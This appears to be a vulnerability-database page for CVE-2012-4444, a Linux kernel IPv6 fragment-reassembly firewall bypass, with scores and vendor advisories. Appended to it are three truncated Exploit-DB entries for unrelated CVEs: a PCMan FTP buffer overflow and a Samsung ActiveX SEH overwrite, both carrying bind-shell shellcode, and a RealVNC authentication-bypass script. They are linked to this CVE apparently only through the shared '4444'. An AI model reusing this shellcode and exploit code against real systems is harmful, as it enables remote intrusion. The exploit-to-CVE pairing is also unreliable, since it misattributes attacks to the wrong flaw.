CVE-2012-4444
published 2012-12-21CVE-2012-4444: The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before 2.6.36 allows remote attackers to bypass intended network restrictions via…
PriorityP430medium5CVSS 2.0
AVNACLAuNCNIPAN
EPSS
3.61%
88.3th percentile
The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before 2.6.36 allows remote attackers to bypass intended network restrictions via overlapping IPv6 fragments.
Affected
147 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | linux | < linux 2.6.36-1~experimental.1 (bookworm) | linux 2.6.36-1~experimental.1 (bookworm) |
| linux | linux_kernel | <= 2.6.36 | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
CVSS provenance
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:N/I:P/A:N
osv5.0MEDIUM
vendor_debian5.0MEDIUM
vendor_redhat5.0MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Linux kernel (EC2) vulnerability
vendor_ubuntu·2012-12-13
CVE-2012-4444 Linux kernel (EC2) vulnerability
Title: Linux kernel (EC2) vulnerability
Summary: The system's firewall could be bypassed by a remote attacker.
Zhang Zuotao discovered a bug in the Linux kernel's handling of overlapping
fragments in ipv6. A remote attacker could exploit this flaw to bypass
firewalls and initial new network connections that should have been blocked
by the firewall.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
Ubuntu
Linux kernel vulnerability
vendor_ubuntu·2012-12-11
CVE-2012-4444 Linux kernel vulnerability
Title: Linux kernel vulnerability
Summary: The system's firewall could be bypassed by a remote attacker.
Zhang Zuotao discovered a bug in the Linux kernel's handling of overlapping
fragments in ipv6. A remote attacker could exploit this flaw to bypass
firewalls and initial new network connections that should have been blocked
by the firewall.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
Debian
CVE-2012-4444: linux - The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before ...
vendor_debian·2012·CVSS 5.0
CVE-2012-4444 [MEDIUM] CVE-2012-4444: linux - The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before ...
The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before 2.6.36 allows remote attackers to bypass intended network restrictions via overlapping IPv6 fragments.
Scope: local
bookworm: resolved (fixed in 2.6.36-1~experimental.1)
bullseye: resolved (fixed in 2.6.36-1~experimental.1)
forky: resolved (fixed in 2.6.36-1~experimental.1)
sid: resolved (fixed in 2.6.36-1~experimental.1)
trixie: resolved (fixed in 2.6.36-1~experimental.1)
Red Hat
kernel: net: acceptation of overlapping ipv6 fragments
vendor_redhat·2009-12-01·CVSS 5.0
CVE-2012-4444 [MEDIUM] kernel: net: acceptation of overlapping ipv6 fragments
kernel: net: acceptation of overlapping ipv6 fragments
The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before 2.6.36 allows remote attackers to bypass intended network restrictions via overlapping IPv6 fragments.
Package: kernel (Red Hat Enterprise Linux Extended Update Support 5.9) - Affected
Package: realtime-kernel (Red Hat Enterprise MRG 2) - Not affected
GHSA
GHSA-q7cx-6c9q-7hf5: The ip6_frag_queue function in net/ipv6/reassembly
ghsa_unreviewed·2022-05-17
CVE-2012-4444 [MEDIUM] GHSA-q7cx-6c9q-7hf5: The ip6_frag_queue function in net/ipv6/reassembly
The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before 2.6.36 allows remote attackers to bypass intended network restrictions via overlapping IPv6 fragments.
OSV
CVE-2012-4444: The ip6_frag_queue function in net/ipv6/reassembly
osv·2012-12-21·CVSS 5.0
CVE-2012-4444 [MEDIUM] CVE-2012-4444: The ip6_frag_queue function in net/ipv6/reassembly
The ip6_frag_queue function in net/ipv6/reassembly.c in the Linux kernel before 2.6.36 allows remote attackers to bypass intended network restrictions via overlapping IPv6 fragments.
No detection rules found.
Exploit-DB
PCMan FTP Server 2.07 - 'CWD' Remote Buffer Overflow
exploitdb·2014-01-29
CVE-2013-4730 PCMan FTP Server 2.07 - 'CWD' Remote Buffer Overflow
PCMan FTP Server 2.07 - 'CWD' Remote Buffer Overflow
---
# Exploit Title: PCMAN FTP 2.07 CWD Command Buffer Overflow
# Date: Jan 25,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 2.07
# Tested on: Windows 7 sp1 x64 (english)
# Email: [email protected]
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host " % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
#vars
junk = '\x41' * 2012 #overwrite function (CWD) with garbage/junk chars
espaddress = '\x59\x06\xbb\x76' # 76BB0659
nops = '\x90' * 10
shellcode = ( # BIND SHELL | PORT 4444
"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
Exploit-DB
RealVNC 4.1.0/4.1.1 - Authentication Bypass
exploitdb·2012-05-13·CVSS 7.5
CVE-2006-2369 [HIGH] RealVNC 4.1.0/4.1.1 - Authentication Bypass
RealVNC 4.1.0/4.1.1 - Authentication Bypass
---
# Exploit Title: RealVNC 4.1.0 and 4.1.1 Authentication Bypass Exploit
# Date: 2012-05-13
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1.0 and 4.1.1
# Tested on: Windows XP
# CVE: CVE-2006-2369
# Requires vncviewer installed
# Basic port of hdmoore/msf2 perl version to python for fun and profit (ease of use)
import select
import thread
import os
import socket
import sys, re
BIND_ADDR = '127.0.0.1'
BIND_PORT = 4444
def pwn4ge(host, port):
socket.setdefaulttimeout(5)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.connect((host, port))
except socket.error, msg:
print '[*] Could not connect to the target VNC service. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
sys.exit();
else:
hello
Exploit-DB
SAMSUNG NET-i Viewer 1.37 - Overwrite (SEH)
exploitdb·2012-05-01
CVE-2012-4250 SAMSUNG NET-i Viewer 1.37 - Overwrite (SEH)
SAMSUNG NET-i Viewer 1.37 - Overwrite (SEH)
---
' Exploit Title: SAMSUNG NET-i viewer ActiveX SEH Overwrite
' Date: April 30 2012
' Author: Blake
' Software Link: http://www.samsungsecurity.com/product/product_view.asp?idx=5828
' Version: 1.37
' Tested on: Windows XP SP3 with IE6 running on Virtualbox
' RequestScreenOptimization in XProcessControl.ocx is vulnerable
' bind shell port 4444
sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4c%56%4b%4e") & _
unescape("%4d%54%4a%4e%49%4f%4f%4f%4f%4f%4f%4f%42%56%4b%48") & _
unescape(
http://ftp.osuosl.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=70789d7052239992824628db8133de08dc78e593http://lists.opensuse.org/opensuse-security-announce/2013-06/msg00000.htmlhttp://rhn.redhat.com/errata/RHSA-2012-1580.htmlhttp://www.openwall.com/lists/oss-security/2012/11/09/2http://www.ubuntu.com/usn/USN-1660-1http://www.ubuntu.com/usn/USN-1661-1https://bugzilla.redhat.com/show_bug.cgi?id=874835https://github.com/torvalds/linux/commit/70789d7052239992824628db8133de08dc78e593https://media.blackhat.com/bh-eu-12/Atlasis/bh-eu-12-Atlasis-Attacking_IPv6-WP.pdfhttp://ftp.osuosl.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=70789d7052239992824628db8133de08dc78e593http://lists.opensuse.org/opensuse-security-announce/2013-06/msg00000.htmlhttp://rhn.redhat.com/errata/RHSA-2012-1580.htmlhttp://www.openwall.com/lists/oss-security/2012/11/09/2http://www.ubuntu.com/usn/USN-1660-1http://www.ubuntu.com/usn/USN-1661-1https://bugzilla.redhat.com/show_bug.cgi?id=874835https://github.com/torvalds/linux/commit/70789d7052239992824628db8133de08dc78e593https://media.blackhat.com/bh-eu-12/Atlasis/bh-eu-12-Atlasis-Attacking_IPv6-WP.pdf
2012-12-21
Published